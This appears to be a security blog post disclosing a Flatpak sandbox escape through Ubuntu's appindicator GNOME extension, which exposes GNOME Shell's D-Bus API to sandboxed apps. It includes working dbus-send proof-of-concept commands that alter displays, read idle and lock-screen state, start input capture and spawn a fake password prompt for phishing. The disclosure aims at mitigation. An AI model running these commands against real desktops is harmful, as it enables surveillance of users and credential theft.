Security vulnerability of appindicator extension with sandboxing
With this article, we are opening a whole new chapter of this blog: Security. Where an electronic microscope is placed over the sandbox ecosystem on Linux which exposes cracks beneath.
Background
Flatpak on their Desktop Integration site suggests adding --talk-name=org.kde.StatusNotifierWatcher to the permissions list for sandboxed applications to register a tray icon.
- Which, translates to
--talk=org.kde.StatusNotifierWatcherin terms of xdg-dbus-proxy option. - Allows sending any method calls and signals or receiving broadcast signals to the name/ID (
man xdg-dbus-proxy) - Flatpak does not seem to have a way to control
--callpermissions. So we have the broad--talkpermission instead.
Appindicator extension on the other hand, reuses GNOME Shell / Mutter’s connection to D-Bus, while publishing its own /StatusNotifierWatcher object path in addition to existing GNOME Shell object paths. This can be easily verified by busctl:
1 | ➜ ~ busctl --user tree org.kde.StatusNotifierWatcher --no-pager |
The entire GNOME Shell D-Bus API is completely exposed for any application that has “Desktop Integration” support for tray icons. And we can now do anything inside a sandbox which a native, unsandboxed process (e.g. gdctl) can do using Mutter / GNOME Shell APIs.
Now that we have basic facts ready, it’s time for exploit demonstration.
Note that Portable 15 has already patched this security vulnerability. Besides, the original bug report to upstream has been closed.
Demo time
Forward note: This exploit only works when you are running the Appindicator extension from Ubuntu on GNOME Shell.
First we need to spawn a Flatpak sandbox with the aforementioned --talk-name=org.kde.StatusNotifierWatcher permission and dbus-send command. I’m using org.kde.kdenlive here with permission override.
- Enter the sandbox:
flatpak run --command='bash' org.kde.kdenlive - Validate that
dbus-sendis available:dbus-send -h
Monitor configuration manipulation
- Enable dimming:
dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Shell/Brightness org.gnome.Shell.Brightness.SetDimming boolean:true - Display configuration manipulation (GetCurrentState shown here, but other methods, including
ApplyConfiguration,ChangeBacklight,SetBacklightand etc. would also work):dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Mutter/DisplayConfig org.gnome.Mutter.DisplayConfig.GetCurrentState
Obtain user status and input
- Obtain idle information:
dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Mutter/IdleMonitor/Core org.gnome.Mutter.IdleMonitor.GetIdletime - Create an Input Capture session:
dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Mutter/InputCapture org.gnome.Mutter.InputCapture.CreateSession uint32:15 - Is the lock screen active:
dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/ScreenSaver org.gnome.ScreenSaver.GetActive
Phishing
- Ask password via the GTK Mount Operation handler:
dbus-send --session --dest org.kde.StatusNotifierWatcher --print-reply --type=method_call /org/gtk/MountOperationHandler org.Gtk.MountOperationHandler.AskPassword string:"objectID" string:"Authorization needed to secure data" string:"channel-secure-symbolic" string:"root" string:"root" uint32:0
Conclusion
As you can see, the list of actions is massive. There are still some interfaces and methods that I did not include (mainly display configuration and well being stuff) because the lack of documentation around those methods. But there is nothing stopping a committed person from doing something horribly nasty. Although Portable has patched this hole in v15, Flatpak remains vulnerable. The best course of action is to turn off such extension if needed.
